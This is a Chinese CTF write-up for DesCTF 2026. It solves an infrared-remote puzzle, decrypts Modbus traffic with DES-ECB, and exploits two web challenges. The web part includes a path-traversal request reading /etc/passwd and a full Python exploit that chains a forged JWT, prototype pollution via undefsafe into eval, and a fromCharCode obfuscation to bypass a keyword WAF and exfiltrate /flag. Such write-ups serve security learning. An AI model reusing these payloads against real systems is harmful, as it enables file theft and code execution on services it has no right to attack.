文章

DesCTF 2026 WP

一个小队去打,最终是拿了三等奖(总榜第五)

Misc

infrared_code

题目给了一段智能电视遥控器的红外指令数据,以及一张电视输入界面的截图

先看红外数据,可以发现里面大量重复出现几类命令码。结合附件里的电视型号资料,可以把几个关键按键对上:

  • 16 对应 Up

  • 17 对应 Down

  • 18 对应 Right

  • 19 对应 Left

  • 15 对应 OK

其余操作直接丢掉

电视输入字符的逻辑本质上就是:用方向键移动焦点,按一次 OK 选中当前字符

所以把整串有效操作按 OK 分段,每一段就代表“移动到某个位置并确认一次”

按这个思路去还原,前面很快就能拼出一串很像 flag 的文本:

FLAG1NFR4RE93DISFUN

中间那段 E93D 很不自然,问题出在题目给的那张输入界面截图上

顶部还有一排功能键,其中有一个非常关键:删除

把这一步考虑进去之后,原来的就会修正成:

FLAG1NFR4R3DISFUN

最后转成题目要求的小写格式即可得到 flag

Wireshark

大量 502 端口 通信,所以基本可以确定这是 Modbus/TCP

192.168.100.10 是主站

192.168.100.101 / 102 / 103 是三台从站

192.168.100.10192.168.100.101 发了一条 03 读保持寄存器请求:

请求: 03 7530 0004
响应: 03 08 53 37 43 4f 4d 4d 30 31

把后面的字节转成 ASCII,就是:

S7COMM01

看起来像是密钥

继续往后翻,会看到 192.168.100.10 -> 192.168.100.101 发了几条 功能码 08 的报文,里面夹着 6 组长度刚好为 8 字节 的数据:

ded7825ede4fd19c
9f37371c37c6fa2d
54e6fe2801f0df1d
763175a586db1c62
9efa82d0f8eacb41
7b4419392b4a6aa8

拼起来就是:

ded7825ede4fd19c9f37371c37c6fa2d54e6fe2801f0df1d763175a586db1c629efa82d0f8eacb417b4419392b4a6aa8

看到这里基本就很明显了:

  • 数据块长度是 8 字节

  • 前面刚好又读出了一个 8 字节字符串 S7COMM01

这种组合很像 DES 的 ECB 分组密文

from Crypto.Cipher import DES
​
cipher_hex = (
    "ded7825ede4fd19c"
    "9f37371c37c6fa2d"
    "54e6fe2801f0df1d"
    "763175a586db1c62"
    "9efa82d0f8eacb41"
    "7b4419392b4a6aa8"
)
​
key = b"S7COMM01"
ciphertext = bytes.fromhex(cipher_hex)
​
cipher = DES.new(key, DES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)
​
pad_len = plaintext[-1]
plaintext = plaintext[:-pad_len]
​
print(plaintext.decode())

Web

Baby Java

app.js 里发现 API 定义

post_downLoad:function(e){
    return V.post("".concat(K,"/waterToDeclareWithAttachment/downLoad"),e,{
        responseType:"blob",
        headers:{"Content-Type":"application/json"}
    })
}

猜测参数,构造数据包

POST /ZGXT/waterToDeclareWithAttachment/downLoad HTTP/1.1
Host: xxx
Content-Type: application/json

{"filePath": "/etc/passwd"}

读取成功,然后读取flag即可 {"filePath": "/flag"}

flag{d4477531-556b-4f1d-a1fc-233496381458}

NoteHub

题目给出了一份 source.js 源码,是一个基于 Node.js 的笔记应用,核心逻辑位于 Notes 类中

class Notes {
    // ...
    addNote(id, author, content) {
        this.note[(id).toString()] = {
            "author": author,
            "content": content
        };
        if (id) {
            undefsafe(this.note, id + '.author', author);
            let commands = {
                "runner": "1+1",
            };
            for (let index in commands) {
                eval(commands[index]);
            }
        }
    }
    // ...
}

分析 addNote 函数,发现两处关键点。一是使用了 undefsafe 库对属性赋值,二是存在 eval 执行代码

由于 id 是可控的,我们可以通过构造 ida.constructor.prototype 来指向 Object.prototype

undefsafe 执行时,拼接的路径变为 a.constructor.prototype.author,从而将 author 的内容写入到 Object.prototype.author

接下来代码遍历 commands 对象并执行 eval

for (let index in commands) {
    eval(commands[index]);
}

由于 commands 继承自 Object.prototype,遍历时会获取到我们刚才污染的 author 属性,进而将其内容作为代码传入 eval 执行

要利用这个漏洞,首先需要通过 JWT 验证。可以通过暴力破解得到题目使用的密钥是 aB3x

随后构造 Payload。由于测试发现题目环境存在 WAF,过滤了 requirefs 等关键字,利用 "".constructor.fromCharCode 动态生成字符串来绕过

攻击思路为:加载 fs 模块,读取 /flag 内容,并写入到 Web 可访问的静态目录(如 public/flag.txt

最终的利用脚本如下

import jwt
import requests
import time

TARGET_IP = ""
TARGET_PORT = ""
SECRET = "aB3x"

URL = f"http://{TARGET_IP}:{TARGET_PORT}/write"
BASE_URL = f"http://{TARGET_IP}:{TARGET_PORT}/"

def get_char_codes(text):
    return ", ".join(str(ord(c)) for c in text)

base = '("".constructor.fromCharCode)'

s_process = base + "(" + get_char_codes('process') + ")"
s_mainModule = base + "(" + get_char_codes('mainModule') + ")"
s_require = base + "(" + get_char_codes('require') + ")"
s_fs = base + "(" + get_char_codes('fs') + ")"
s_readFileSync = base + "(" + get_char_codes('readFileSync') + ")"
s_writeFileSync = base + "(" + get_char_codes('writeFileSync') + ")"
s_flag_path = base + "(" + get_char_codes('/flag') + ")"
s_out_path = base + "(" + get_char_codes('public/flag.txt') + ")"

js_lines = []
js_lines.append(f"var p ={s_process};")
js_lines.append("if(!this[p]) this[p] = process;")
js_lines.append(f"var m = this[p][{s_mainModule}];")
js_lines.append(f"var r = m[{s_require}];")
js_lines.append(f"var fs = r({s_fs});")

js_lines.append(f"try {{ var content = fs[{s_readFileSync}]({s_flag_path}); fs[{s_writeFileSync}]({s_out_path}, content); }} catch(e) {{ fs[{s_writeFileSync}]({s_out_path}, e.toString()); }}")

js_body = "\\n".join(js_lines)
body_codes = get_char_codes(js_body)
s_body = base + "(" + body_codes + ")"
s_constructor = base + "(" + get_char_codes('constructor') + ")"

js_payload = f"""
try {{
    var c ={s_constructor};
    var F = ""["sub"][c];
    F({s_body})();
}} catch(e) {{}}
"""
js_payload = " ".join(js_payload.split())

token = jwt.encode({
    "username": "admin",
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600
}, SECRET, algorithm="HS256")
cookies = {'token': token}

try:
    requests.post(URL, cookies=cookies, json={"id": "a", "author": "init", "content": "init"}, timeout=2)
except: pass

data = {
    "id": "a.constructor.prototype",
    "author": js_payload,
    "content": "pwn"
}

try:
    print(f"Sending payload to{URL}...")
    requests.post(URL, cookies=cookies, json=data, timeout=5)
except: pass

time.sleep(2)

try:
    r = requests.get(BASE_URL + "flag.txt")
    if r.status_code == 200:
        print(f"FLAG:{r.text.strip()}")
    else:
        print(f"Failed to retrieve flag:{r.status_code}")
except: pass

许可协议:  CC BY 4.0